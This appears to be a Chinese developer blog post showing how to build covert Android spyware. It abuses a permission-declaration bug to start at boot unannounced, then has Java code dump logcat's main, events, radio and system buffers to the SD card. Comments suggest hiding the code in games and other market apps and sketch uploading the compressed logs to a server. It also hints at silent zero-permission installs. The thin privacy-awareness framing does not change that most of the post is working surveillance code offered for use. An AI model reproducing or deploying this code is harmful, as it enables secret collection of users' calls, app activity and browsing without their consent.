抛砖引玉 之 谁动了我的隐私(android用户隐私窥探)
用户的隐私永远是第一位的,用户的隐私也是最值钱的。
最近各大门户相继被泄露。。。保管好自己的密码就行了
这里我就扯一下android下面搞用户隐私的方法,也算是android的一个疏忽。
但最主要的,还是用户在安装apk时对权限警告的无视,就犹如我们所有社区的密码设为相同一样。
罪魁祸首就是logcat。以及一个权限检测的bug.
1、开机启动
程序如何开机启动?那就是接受一个关于开机的广播,具体流程是这样的,首先在 清单文件 声明一个权限
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
然后就是写receiver以及在清单中设置了。
<receiver android:name ="org.igeek.hack.reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >
public class HackReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
................
}
}
其实呢,完全可以不必声明权限,照样使用。
android的包管理器在检测到用户要安装apk时,只是扫描一下清单中的权限声明,然后列出权限警告给用户,上面根本没有声明这个权限,所以不会列出来,但不影响使用,这个bug一直坚守到了4.0.
2、窥探隐私
我们要记录用户的一切,从开机开始!
安卓的一些调试工具,是默认集成在rom中的,比如logcat,不止是sdk中携带,而是每部安卓手机以及平板都有的。
而且,安卓框架会向log缓冲区写入所有的Log,具体是这几类:main、events、radio、system。这些Log缓冲区基本上涵盖了手机运行的方方面面。
进入正题,我们会用到Process类,也就是进程类,dalvik会分裂出一个进程来执行其它本地程序,就像在shell中打入命令,shell分裂一个进程来运行它一样,我们只需要把shell下的命令写成字符串,直接扔给process即可。
别忘了再加入这两个权限
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
1 //简单的示例,这些代码可以附加到某个market的应用里,比如游戏等等
2 //其实有些广告的sdk,需要一大堆权限,好多都需要开机启动
3 //我想,可能是收集用户信息来分析用户的行为,来进行定点投放广告吧
4 public class HackReceiver extends BroadcastReceiver {
5
6 @Override
7 public void onReceive(Context context, Intent intent) {
8
9 ///main
10 Runnable r1=new Runnable() {
11
12 @Override
13 public void run() {
14 writeLog("org.igeek.hack.main.log", "main");
15 }
16 };
17 ///events
18 Runnable r2=new Runnable() {
19
20 @Override
21 public void run() {
22 writeLog("org.igeek.hack.events.log", "events");
23 }
24 };
25 ///radio
26 Runnable r3=new Runnable() {
27
28 @Override
29 public void run() {
30 writeLog("org.igeek.hack.radio.log", "radio");
31 }
32 };
33 ///system
34 Runnable r4=new Runnable() {
35
36 @Override
37 public void run() {
38 writeLog("org.igeek.hack.system.log", "system");
39 }
40 };
41
42 Thread t1=new Thread(r1);
43 Thread t2=new Thread(r2);
44 Thread t3=new Thread(r3);
45 Thread t4=new Thread(r4);
46
47
48
49 t1.start();
50 t2.start();
51 t3.start();
52 t4.start();
53 }
54
55 //你懂得
56 private void writeLog(String file,String content){
57 try {
58 StringBuilder command = new StringBuilder("logcat" );
59
60 File devFile = new File( Environment.getExternalStorageDirectory(),file );
61 if (devFile.createNewFile()){
62 command.append(" -b " ).append(content);
63
64
65 //命令格式是: logcat -b main
66 //logcat -b radio 等等
67 Process process = Runtime.getRuntime().exec(command.toString());
68
69
70 //这里,将本地程序的标准输出,也就是std::out转成java的输入流
71 InputStream input = process.getInputStream();
72 BufferedReader reader = new BufferedReader( new InputStreamReader(input));
73
74 //再把转入的输入流搞成输出流,这里放到sd卡的目录里面
75 FileOutputStream output=new FileOutputStream(devFile);
76 BufferedOutputStream bot=new BufferedOutputStream(output);
77
78 Log.e("hack", "记录LOG -> "+"sd:"+file);
79 String log;
80 while((log = reader.readLine()) != null){
81
82 //其实在输入流获取后,可以根据规则摘取想要的信息
83 //没有必要通吃
84
85
86 //在关机前,这个循环是很难跳出的
87 bot.write(log.getBytes());
88
89
90 //这里呢,可以学学骑驴250,将获取的数据上传到服务器
91 /*
92 伪代码
93
94 在清单中添加个Internet权限,相信用户也不会多心的
95
96
97 go:连接服务器
98 go:压缩并上传数据
99
100
101 */
102 }
103 bot.close();
104 output.close();
105 reader.close();
106 input.close();
107
108 //亲手测试一下,你会惊讶的发现,谁给你打电话、你当前运行什么程序、
109 //你看什么不该看的网页,都一一记录在案
110
111
112 }
113 } catch (IOException e) {
114 //have a nice day
115 e.printStackTrace();
116 }
117 }
118
119 }
就说这么多,感兴趣的可以研究研究market的安装方法,以及market uri,可以做到0权限静默安装高权限apk。
最后,请关注我的 抛砖引玉 系列,会有更多精彩内容
原创,转载请注明 http://hangxin1940.cnblogs.com
这里仅当抛砖引玉,本人水平有限,难免有些疏漏或者错误,还请指正!!!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· .NET周刊【3月第1期 2025-03-02】
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· [AI/GPT/综述] AI Agent的设计模式综述